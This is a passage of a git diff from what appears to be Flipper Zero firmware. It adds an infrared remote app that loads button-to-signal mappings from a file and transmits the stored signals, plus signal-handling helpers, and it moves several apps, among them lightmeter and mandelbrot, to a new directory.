DOLPHIN_DEED(DolphinDeedPluginStart); + + // App button string + IRApp* app = malloc(sizeof(IRApp)); + app->up_button = furi_string_alloc(); + app->down_button = furi_string_alloc(); + app->left_button = furi_string_alloc(); + app->right_button = furi_string_alloc(); + app->ok_button = furi_string_alloc(); + app->back_button = furi_string_alloc(); + app->up_hold_button = furi_string_alloc(); + app->down_hold_button = furi_string_alloc(); + app->left_hold_button = furi_string_alloc(); + app->right_hold_button = furi_string_alloc(); + app->ok_hold_button = furi_string_alloc(); + app->view_port = view_port_alloc(); + + // Configure view port + view_port_draw_callback_set(app->view_port, app_draw_callback, app); + view_port_input_callback_set(app->view_port, app_input_callback, event_queue); + + // Register view port in GUI + Gui* gui = furi_record_open(RECORD_GUI); + gui_add_view_port(gui, app->view_port, GuiLayerFullscreen); + + InputEvent event; + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, ".txt", &I_sub1_10px); + FuriString* map_file = furi_string_alloc(); + furi_string_set(map_file, "/ext/infrared/remote"); + if(!storage_file_exists(storage, ANY_PATH("infrared/remote"))) { + storage_common_mkdir(storage, ANY_PATH("infrared/remote")); //Make Folder If dir not exist + } + + bool res = dialog_file_browser_show(dialogs, map_file, map_file, &browser_options); + + furi_record_close(RECORD_DIALOGS); + + // if user didn't choose anything, free everything and exit + if(!res) { + FURI_LOG_I(TAG, "exit"); + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + furi_string_free(app->up_button); + furi_string_free(app->down_button); + furi_string_free(app->left_button); + furi_string_free(app->right_button); + furi_string_free(app->ok_button); + furi_string_free(app->back_button); + furi_string_free(app->up_hold_button); + furi_string_free(app->down_hold_button); + furi_string_free(app->left_hold_button); + furi_string_free(app->right_hold_button); + furi_string_free(app->ok_hold_button); + + view_port_enabled_set(app->view_port, false); + gui_remove_view_port(gui, app->view_port); + view_port_free(app->view_port); + free(app); + furi_message_queue_free(event_queue); + + furi_record_close(RECORD_GUI); + return 255; + } + + InfraredRemote* remote = infrared_remote_alloc(); + FuriString* remote_path = furi_string_alloc(); + + InfraredSignal* up_signal = infrared_signal_alloc(); + InfraredSignal* down_signal = infrared_signal_alloc(); + InfraredSignal* left_signal = infrared_signal_alloc(); + InfraredSignal* right_signal = infrared_signal_alloc(); + InfraredSignal* ok_signal = infrared_signal_alloc(); + InfraredSignal* back_signal = infrared_signal_alloc(); + InfraredSignal* up_hold_signal = infrared_signal_alloc(); + InfraredSignal* down_hold_signal = infrared_signal_alloc(); + InfraredSignal* left_hold_signal = infrared_signal_alloc(); + InfraredSignal* right_hold_signal = infrared_signal_alloc(); + InfraredSignal* ok_hold_signal = infrared_signal_alloc(); + + bool up_enabled = false; + bool down_enabled = false; + bool left_enabled = false; + bool right_enabled = false; + bool ok_enabled = false; + bool back_enabled = false; + bool up_hold_enabled = false; + bool down_hold_enabled = false; + bool left_hold_enabled = false; + bool right_hold_enabled = false; + bool ok_hold_enabled = false; + + if(!flipper_format_file_open_existing(ff, furi_string_get_cstr(map_file))) { + FURI_LOG_E(TAG, "Could not open MAP file %s", furi_string_get_cstr(map_file)); + app->status = 1; + } else { + //Filename Assignment/Check Start + + if(!flipper_format_read_string(ff, "REMOTE", remote_path)) { + FURI_LOG_E(TAG, "Could not read REMOTE string"); + app->status = 1; + } else { + if(!infrared_remote_load(remote, remote_path)) { + FURI_LOG_E(TAG, "Could not load ir file: %s", furi_string_get_cstr(remote_path)); + app->status = 1; + } else { + FURI_LOG_I(TAG, "Loaded REMOTE file: %s", furi_string_get_cstr(remote_path)); + } + } + + //assign variables to values within map file + //set missing filenames to N/A + //assign button signals + size_t index = 0; + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "UP", app->up_button)) { + FURI_LOG_W(TAG, "Could not read UP string"); + furi_string_set(app->up_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->up_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + up_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + up_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "DOWN", app->down_button)) { + FURI_LOG_W(TAG, "Could not read DOWN string"); + furi_string_set(app->down_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->down_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + down_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + down_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "LEFT", app->left_button)) { + FURI_LOG_W(TAG, "Could not read LEFT string"); + furi_string_set(app->left_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->left_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + left_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + left_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "RIGHT", app->right_button)) { + FURI_LOG_W(TAG, "Could not read RIGHT string"); + furi_string_set(app->right_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->right_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + right_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + right_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "OK", app->ok_button)) { + FURI_LOG_W(TAG, "Could not read OK string"); + furi_string_set(app->ok_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->ok_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + ok_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + ok_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "BACK", app->back_button)) { + FURI_LOG_W(TAG, "Could not read BACK string"); + furi_string_set(app->back_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->back_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + back_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + back_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "UPHOLD", app->up_hold_button)) { + FURI_LOG_W(TAG, "Could not read UPHOLD string"); + furi_string_set(app->up_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->up_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + up_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + up_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "DOWNHOLD", app->down_hold_button)) { + FURI_LOG_W(TAG, "Could not read DOWNHOLD string"); + furi_string_set(app->down_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->down_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + down_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + down_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "LEFTHOLD", app->left_hold_button)) { + FURI_LOG_W(TAG, "Could not read LEFTHOLD string"); + furi_string_set(app->left_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->left_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + left_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + left_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "RIGHTHOLD", app->right_hold_button)) { + FURI_LOG_W(TAG, "Could not read RIGHTHOLD string"); + furi_string_set(app->right_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->right_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + right_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + right_hold_enabled = true; + } + } + + flipper_format_rewind(ff); + if(!flipper_format_read_string(ff, "OKHOLD", app->ok_hold_button)) { + FURI_LOG_W(TAG, "Could not read OKHOLD string"); + furi_string_set(app->ok_hold_button, "N/A"); + } else { + if(!infrared_remote_find_button_by_name( + remote, furi_string_get_cstr(app->ok_hold_button), &index)) { + FURI_LOG_W(TAG, "Error"); + } else { + ok_hold_signal = + infrared_remote_button_get_signal(infrared_remote_get_button(remote, index)); + ok_hold_enabled = true; + } + } + } + + furi_string_free(remote_path); + + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + bool running = true; + NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); + + if(app->status) { + view_port_update(app->view_port); + while(running) { + if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { + if(event.type == InputTypeShort) { + switch(event.key) { + case InputKeyBack: + running = false; + break; + default: + break; + } + } + } + } + } else { + view_port_update(app->view_port); + while(running) { + if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { + // short press signal + if(event.type == InputTypeShort) { + switch(event.key) { + case InputKeyUp: + if(up_enabled) { + infrared_signal_transmit(up_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "up"); + } + break; + case InputKeyDown: + if(down_enabled) { + infrared_signal_transmit(down_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "down"); + } + break; + case InputKeyRight: + if(right_enabled) { + infrared_signal_transmit(right_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "right"); + } + break; + case InputKeyLeft: + if(left_enabled) { + infrared_signal_transmit(left_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "left"); + } + break; + case InputKeyOk: + if(ok_enabled) { + infrared_signal_transmit(ok_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "ok"); + } + break; + case InputKeyBack: + if(back_enabled) { + infrared_signal_transmit(back_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "back"); + } + break; + default: + running = false; + break; + } + // long press signal + } else if(event.type == InputTypeLong) { + switch(event.key) { + case InputKeyUp: + if(up_hold_enabled) { + infrared_signal_transmit(up_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "up!"); + } + break; + case InputKeyDown: + if(down_hold_enabled) { + infrared_signal_transmit(down_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "down!"); + } + break; + case InputKeyRight: + if(right_hold_enabled) { + infrared_signal_transmit(right_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "right!"); + } + break; + case InputKeyLeft: + if(left_hold_enabled) { + infrared_signal_transmit(left_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "left!"); + } + break; + case InputKeyOk: + if(ok_hold_enabled) { + infrared_signal_transmit(ok_hold_signal); + notification_message(notification, &sequence_blink_start_magenta); + FURI_LOG_I(TAG, "ok!"); + } + break; + default: + running = false; + break; + } + } else if(event.type == InputTypeRelease) { + notification_message(notification, &sequence_blink_stop); + } + } + } + } + + // Free all things + furi_string_free(app->up_button); + furi_string_free(app->down_button); + furi_string_free(app->left_button); + furi_string_free(app->right_button); + furi_string_free(app->ok_button); + furi_string_free(app->back_button); + furi_string_free(app->up_hold_button); + furi_string_free(app->down_hold_button); + furi_string_free(app->left_hold_button); + furi_string_free(app->right_hold_button); + furi_string_free(app->ok_hold_button); + + infrared_remote_free(remote); + view_port_enabled_set(app->view_port, false); + gui_remove_view_port(gui, app->view_port); + view_port_free(app->view_port); + free(app); + furi_message_queue_free(event_queue); + + furi_record_close(RECORD_NOTIFICATION); + furi_record_close(RECORD_GUI); + + return 0; +} diff --git a/applications/external/ir_remote/infrared_remote_button.c b/applications/external/ir_remote/infrared_remote_button.c new file mode 100644 index 000000000..1f6315ec5 --- /dev/null +++ b/applications/external/ir_remote/infrared_remote_button.c @@ -0,0 +1,37 @@ +#include "infrared_remote_button.h" + +#include + +struct InfraredRemoteButton { + FuriString* name; + InfraredSignal* signal; +}; + +InfraredRemoteButton* infrared_remote_button_alloc() { + InfraredRemoteButton* button = malloc(sizeof(InfraredRemoteButton)); + button->name = furi_string_alloc(); + button->signal = infrared_signal_alloc(); + return button; +} + +void infrared_remote_button_free(InfraredRemoteButton* button) { + furi_string_free(button->name); + infrared_signal_free(button->signal); + free(button); +} + +void infrared_remote_button_set_name(InfraredRemoteButton* button, const char* name) { + furi_string_set(button->name, name); +} + +const char* infrared_remote_button_get_name(InfraredRemoteButton* button) { + return furi_string_get_cstr(button->name); +} + +void infrared_remote_button_set_signal(InfraredRemoteButton* button, InfraredSignal* signal) { + infrared_signal_set_signal(button->signal, signal); +} + +InfraredSignal* infrared_remote_button_get_signal(InfraredRemoteButton* button) { + return button->signal; +} diff --git a/applications/external/ir_remote/infrared_remote_button.h b/applications/external/ir_remote/infrared_remote_button.h new file mode 100644 index 000000000..f25b759b5 --- /dev/null +++ b/applications/external/ir_remote/infrared_remote_button.h @@ -0,0 +1,14 @@ +#pragma once + +#include "infrared_signal.h" + +typedef struct InfraredRemoteButton InfraredRemoteButton; + +InfraredRemoteButton* infrared_remote_button_alloc(); +void infrared_remote_button_free(InfraredRemoteButton* button); + +void infrared_remote_button_set_name(InfraredRemoteButton* button, const char* name); +const char* infrared_remote_button_get_name(InfraredRemoteButton* button); + +void infrared_remote_button_set_signal(InfraredRemoteButton* button, InfraredSignal* signal); +InfraredSignal* infrared_remote_button_get_signal(InfraredRemoteButton* button); diff --git a/applications/external/ir_remote/infrared_signal.c b/applications/external/ir_remote/infrared_signal.c new file mode 100644 index 000000000..0c7e3d3bf --- /dev/null +++ b/applications/external/ir_remote/infrared_signal.c @@ -0,0 +1,300 @@ +#include "infrared_signal.h" + +#include +#include +#include +#include +#include + +#define TAG "InfraredSignal" + +struct InfraredSignal { + bool is_raw; + union { + InfraredMessage message; + InfraredRawSignal raw; + } payload; +}; + +static void infrared_signal_clear_timings(InfraredSignal* signal) { + if(signal->is_raw) { + free(signal->payload.raw.timings); + signal->payload.raw.timings_size = 0; + signal->payload.raw.timings = NULL; + } +} + +static bool infrared_signal_is_message_valid(InfraredMessage* message) { + if(!infrared_is_protocol_valid(message->protocol)) { + FURI_LOG_E(TAG, "Unknown protocol"); + return false; + } + + uint32_t address_length = infrared_get_protocol_address_length(message->protocol); + uint32_t address_mask = (1UL << address_length) - 1; + + if(message->address != (message->address & address_mask)) { + FURI_LOG_E( + TAG, + "Address is out of range (mask 0x%08lX): 0x%lX\r\n", + address_mask, + message->address); + return false; + } + + uint32_t command_length = infrared_get_protocol_command_length(message->protocol); + uint32_t command_mask = (1UL << command_length) - 1; + + if(message->command != (message->command & command_mask)) { + FURI_LOG_E( + TAG, + "Command is out of range (mask 0x%08lX): 0x%lX\r\n", + command_mask, + message->command); + return false; + } + + return true; +} + +static bool infrared_signal_is_raw_valid(InfraredRawSignal* raw) { + if((raw->frequency > INFRARED_MAX_FREQUENCY) || (raw->frequency < INFRARED_MIN_FREQUENCY)) { + FURI_LOG_E( + TAG, + "Frequency is out of range (%X - %X): %lX", + INFRARED_MIN_FREQUENCY, + INFRARED_MAX_FREQUENCY, + raw->frequency); + return false; + + } else if((raw->duty_cycle <= 0) || (raw->duty_cycle > 1)) { + FURI_LOG_E(TAG, "Duty cycle is out of range (0 - 1): %f", (double)raw->duty_cycle); + return false; + + } else if((raw->timings_size <= 0) || (raw->timings_size > MAX_TIMINGS_AMOUNT)) { + FURI_LOG_E( + TAG, + "Timings amount is out of range (0 - %X): %X", + MAX_TIMINGS_AMOUNT, + raw->timings_size); + return false; + } + + return true; +} + +static inline bool infrared_signal_save_message(InfraredMessage* message, FlipperFormat* ff) { + const char* protocol_name = infrared_get_protocol_name(message->protocol); + return flipper_format_write_string_cstr(ff, "type", "parsed") && + flipper_format_write_string_cstr(ff, "protocol", protocol_name) && + flipper_format_write_hex(ff, "address", (uint8_t*)&message->address, 4) && + flipper_format_write_hex(ff, "command", (uint8_t*)&message->command, 4); +} + +static inline bool infrared_signal_save_raw(InfraredRawSignal* raw, FlipperFormat* ff) { + furi_assert(raw->timings_size <= MAX_TIMINGS_AMOUNT); + return flipper_format_write_string_cstr(ff, "type", "raw") && + flipper_format_write_uint32(ff, "frequency", &raw->frequency, 1) && + flipper_format_write_float(ff, "duty_cycle", &raw->duty_cycle, 1) && + flipper_format_write_uint32(ff, "data", raw->timings, raw->timings_size); +} + +static inline bool infrared_signal_read_message(InfraredSignal* signal, FlipperFormat* ff) { + FuriString* buf; + buf = furi_string_alloc(); + bool success = false; + + do { + if(!flipper_format_read_string(ff, "protocol", buf)) break; + + InfraredMessage message; + message.protocol = infrared_get_protocol_by_name(furi_string_get_cstr(buf)); + + success = flipper_format_read_hex(ff, "address", (uint8_t*)&message.address, 4) && + flipper_format_read_hex(ff, "command", (uint8_t*)&message.command, 4) && + infrared_signal_is_message_valid(&message); + + if(!success) break; + + infrared_signal_set_message(signal, &message); + } while(0); + + furi_string_free(buf); + return success; +} + +static inline bool infrared_signal_read_raw(InfraredSignal* signal, FlipperFormat* ff) { + uint32_t timings_size, frequency; + float duty_cycle; + + bool success = flipper_format_read_uint32(ff, "frequency", &frequency, 1) && + flipper_format_read_float(ff, "duty_cycle", &duty_cycle, 1) && + flipper_format_get_value_count(ff, "data", &timings_size); + + if(!success || timings_size > MAX_TIMINGS_AMOUNT) { + return false; + } + + uint32_t* timings = malloc(sizeof(uint32_t) * timings_size); + success = flipper_format_read_uint32(ff, "data", timings, timings_size); + + if(success) { + infrared_signal_set_raw_signal(signal, timings, timings_size, frequency, duty_cycle); + } + + free(timings); + return success; +} + +static bool infrared_signal_read_body(InfraredSignal* signal, FlipperFormat* ff) { + FuriString* tmp = furi_string_alloc(); + + bool success = false; + + do { + if(!flipper_format_read_string(ff, "type", tmp)) break; + if(furi_string_equal(tmp, "raw")) { + success = infrared_signal_read_raw(signal, ff); + } else if(furi_string_equal(tmp, "parsed")) { + success = infrared_signal_read_message(signal, ff); + } else { + FURI_LOG_E(TAG, "Unknown signal type"); + } + } while(false); + + furi_string_free(tmp); + return success; +} + +InfraredSignal* infrared_signal_alloc() { + InfraredSignal* signal = malloc(sizeof(InfraredSignal)); + + signal->is_raw = false; + signal->payload.message.protocol = InfraredProtocolUnknown; + + return signal; +} + +void infrared_signal_free(InfraredSignal* signal) { + infrared_signal_clear_timings(signal); + free(signal); +} + +bool infrared_signal_is_raw(InfraredSignal* signal) { + return signal->is_raw; +} + +bool infrared_signal_is_valid(InfraredSignal* signal) { + return signal->is_raw ? infrared_signal_is_raw_valid(&signal->payload.raw) : + infrared_signal_is_message_valid(&signal->payload.message); +} + +void infrared_signal_set_signal(InfraredSignal* signal, const InfraredSignal* other) { + if(other->is_raw) { + const InfraredRawSignal* raw = &other->payload.raw; + infrared_signal_set_raw_signal( + signal, raw->timings, raw->timings_size, raw->frequency, raw->duty_cycle); + } else { + const InfraredMessage* message = &other->payload.message; + infrared_signal_set_message(signal, message); + } +} + +void infrared_signal_set_raw_signal( + InfraredSignal* signal, + const uint32_t* timings, + size_t timings_size, + uint32_t frequency, + float duty_cycle) { + infrared_signal_clear_timings(signal); + + signal->is_raw = true; + + signal->payload.raw.timings_size = timings_size; + signal->payload.raw.frequency = frequency; + signal->payload.raw.duty_cycle = duty_cycle; + + signal->payload.raw.timings = malloc(timings_size * sizeof(uint32_t)); + memcpy(signal->payload.raw.timings, timings, timings_size * sizeof(uint32_t)); +} + +InfraredRawSignal* infrared_signal_get_raw_signal(InfraredSignal* signal) { + furi_assert(signal->is_raw); + return &signal->payload.raw; +} + +void infrared_signal_set_message(InfraredSignal* signal, const InfraredMessage* message) { + infrared_signal_clear_timings(signal); + + signal->is_raw = false; + signal->payload.message = *message; +} + +InfraredMessage* infrared_signal_get_message(InfraredSignal* signal) { + furi_assert(!signal->is_raw); + return &signal->payload.message; +} + +bool infrared_signal_save(InfraredSignal* signal, FlipperFormat* ff, const char* name) { + if(!flipper_format_write_comment_cstr(ff, "") || + !flipper_format_write_string_cstr(ff, "name", name)) { + return false; + } else if(signal->is_raw) { + return infrared_signal_save_raw(&signal->payload.raw, ff); + } else { + return infrared_signal_save_message(&signal->payload.message, ff); + } +} + +bool infrared_signal_read(InfraredSignal* signal, FlipperFormat* ff, FuriString* name) { + FuriString* tmp = furi_string_alloc(); + + bool success = false; + + do { + if(!flipper_format_read_string(ff, "name", tmp)) break; + furi_string_set(name, tmp); + if(!infrared_signal_read_body(signal, ff)) break; + success = true; + } while(0); + + furi_string_free(tmp); + return success; +} + +bool infrared_signal_search_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + const FuriString* name) { + bool success = false; + FuriString* tmp = furi_string_alloc(); + + do { + bool is_name_found = false; + while(flipper_format_read_string(ff, "name", tmp)) { + is_name_found = furi_string_equal(name, tmp); + if(is_name_found) break; + } + if(!is_name_found) break; + if(!infrared_signal_read_body(signal, ff)) break; + success = true; + } while(false); + + furi_string_free(tmp); + return success; +} + +void infrared_signal_transmit(InfraredSignal* signal) { + if(signal->is_raw) { + InfraredRawSignal* raw_signal = &signal->payload.raw; + infrared_send_raw_ext( + raw_signal->timings, + raw_signal->timings_size, + true, + raw_signal->frequency, + raw_signal->duty_cycle); + } else { + InfraredMessage* message = &signal->payload.message; + infrared_send(message, 2); + } +} diff --git a/applications/external/ir_remote/infrared_signal.h b/applications/external/ir_remote/infrared_signal.h new file mode 100644 index 000000000..637d859b0 --- /dev/null +++ b/applications/external/ir_remote/infrared_signal.h @@ -0,0 +1,45 @@ +#pragma once + +#include +#include +#include + +#include +#include + +typedef struct InfraredSignal InfraredSignal; + +typedef struct { + size_t timings_size; + uint32_t* timings; + uint32_t frequency; + float duty_cycle; +} InfraredRawSignal; + +InfraredSignal* infrared_signal_alloc(); +void infrared_signal_free(InfraredSignal* signal); + +bool infrared_signal_is_raw(InfraredSignal* signal); +bool infrared_signal_is_valid(InfraredSignal* signal); + +void infrared_signal_set_signal(InfraredSignal* signal, const InfraredSignal* other); + +void infrared_signal_set_raw_signal( + InfraredSignal* signal, + const uint32_t* timings, + size_t timings_size, + uint32_t frequency, + float duty_cycle); +InfraredRawSignal* infrared_signal_get_raw_signal(InfraredSignal* signal); + +void infrared_signal_set_message(InfraredSignal* signal, const InfraredMessage* message); +InfraredMessage* infrared_signal_get_message(InfraredSignal* signal); + +bool infrared_signal_save(InfraredSignal* signal, FlipperFormat* ff, const char* name); +bool infrared_signal_read(InfraredSignal* signal, FlipperFormat* ff, FuriString* name); +bool infrared_signal_search_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + const FuriString* name); + +void infrared_signal_transmit(InfraredSignal* signal); diff --git a/applications/external/ir_remote/ir_10px.png b/applications/external/ir_remote/ir_10px.png new file mode 100644 index 000000000..22c986180 Binary files /dev/null and b/applications/external/ir_remote/ir_10px.png differ diff --git a/applications/plugins/lightmeter/LICENSE b/applications/external/lightmeter/LICENSE similarity index 100% rename from applications/plugins/lightmeter/LICENSE rename to applications/external/lightmeter/LICENSE diff --git a/applications/plugins/lightmeter/application.fam b/applications/external/lightmeter/application.fam similarity index 93% rename from applications/plugins/lightmeter/application.fam rename to applications/external/lightmeter/application.fam index 8cd90ee26..7df664517 100644 --- a/applications/plugins/lightmeter/application.fam +++ b/applications/external/lightmeter/application.fam @@ -3,7 +3,6 @@ App( name="[BH1750] Lightmeter", apptype=FlipperAppType.EXTERNAL, entry_point="lightmeter_app", - cdefines=["APP_LIGHTMETER"], requires=[ "gui", ], diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.c b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.c rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene.c diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene.h rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene.h diff --git a/applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene_config.h b/applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/config/lightmeter_scene_config.h rename to applications/external/lightmeter/gui/scenes/config/lightmeter_scene_config.h diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_about.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_about.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_about.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_config.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_config.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_config.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_help.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_help.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_help.c diff --git a/applications/plugins/lightmeter/gui/scenes/lightmeter_scene_main.c b/applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c similarity index 100% rename from applications/plugins/lightmeter/gui/scenes/lightmeter_scene_main.c rename to applications/external/lightmeter/gui/scenes/lightmeter_scene_main.c diff --git a/applications/plugins/lightmeter/gui/views/main_view.c b/applications/external/lightmeter/gui/views/main_view.c similarity index 100% rename from applications/plugins/lightmeter/gui/views/main_view.c rename to applications/external/lightmeter/gui/views/main_view.c diff --git a/applications/plugins/lightmeter/gui/views/main_view.h b/applications/external/lightmeter/gui/views/main_view.h similarity index 100% rename from applications/plugins/lightmeter/gui/views/main_view.h rename to applications/external/lightmeter/gui/views/main_view.h diff --git a/applications/plugins/lightmeter/icons/T_10x14.png b/applications/external/lightmeter/icons/T_10x14.png similarity index 100% rename from applications/plugins/lightmeter/icons/T_10x14.png rename to applications/external/lightmeter/icons/T_10x14.png diff --git a/applications/plugins/lightmeter/icons/f_10x14.png b/applications/external/lightmeter/icons/f_10x14.png similarity index 100% rename from applications/plugins/lightmeter/icons/f_10x14.png rename to applications/external/lightmeter/icons/f_10x14.png diff --git a/applications/plugins/lightmeter/lib/BH1750/BH1750.c b/applications/external/lightmeter/lib/BH1750/BH1750.c similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/BH1750.c rename to applications/external/lightmeter/lib/BH1750/BH1750.c diff --git a/applications/plugins/lightmeter/lib/BH1750/BH1750.h b/applications/external/lightmeter/lib/BH1750/BH1750.h similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/BH1750.h rename to applications/external/lightmeter/lib/BH1750/BH1750.h diff --git a/applications/plugins/lightmeter/lib/BH1750/LICENSE b/applications/external/lightmeter/lib/BH1750/LICENSE similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/LICENSE rename to applications/external/lightmeter/lib/BH1750/LICENSE diff --git a/applications/plugins/lightmeter/lib/BH1750/docs/BH1750.pdf b/applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf similarity index 100% rename from applications/plugins/lightmeter/lib/BH1750/docs/BH1750.pdf rename to applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf diff --git a/applications/plugins/lightmeter/lightmeter.c b/applications/external/lightmeter/lightmeter.c similarity index 100% rename from applications/plugins/lightmeter/lightmeter.c rename to applications/external/lightmeter/lightmeter.c diff --git a/applications/plugins/lightmeter/lightmeter.h b/applications/external/lightmeter/lightmeter.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter.h rename to applications/external/lightmeter/lightmeter.h diff --git a/applications/plugins/lightmeter/lightmeter.png b/applications/external/lightmeter/lightmeter.png similarity index 100% rename from applications/plugins/lightmeter/lightmeter.png rename to applications/external/lightmeter/lightmeter.png diff --git a/applications/plugins/lightmeter/lightmeter_config.h b/applications/external/lightmeter/lightmeter_config.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter_config.h rename to applications/external/lightmeter/lightmeter_config.h diff --git a/applications/plugins/lightmeter/lightmeter_helper.c b/applications/external/lightmeter/lightmeter_helper.c similarity index 100% rename from applications/plugins/lightmeter/lightmeter_helper.c rename to applications/external/lightmeter/lightmeter_helper.c diff --git a/applications/plugins/lightmeter/lightmeter_helper.h b/applications/external/lightmeter/lightmeter_helper.h similarity index 100% rename from applications/plugins/lightmeter/lightmeter_helper.h rename to applications/external/lightmeter/lightmeter_helper.h diff --git a/applications/plugins/mandelbrot/Mandelbrot.png b/applications/external/mandelbrot/Mandelbrot.png similarity index 100% rename from applications/plugins/mandelbrot/Mandelbrot.png rename to applications/external/mandelbrot/Mandelbrot.png diff --git a/applications/plugins/mandelbrot/application.fam b/applications/external/mandelbrot/application.fam similarity index 100% rename from applications/plugins/mandelbrot/application.fam rename to applications/external/mandelbrot/application.fam diff --git a/applications/plugins/mandelbrot/mandelbrot.c b/applications/external/mandelbrot/mandelbrot.c similarity index 100% rename from applications/plugins/mandelbrot/mandelbrot.c rename to applications/external/mandelbrot/mandelbrot.c diff --git a/applications/plugins/metronome/application.fam 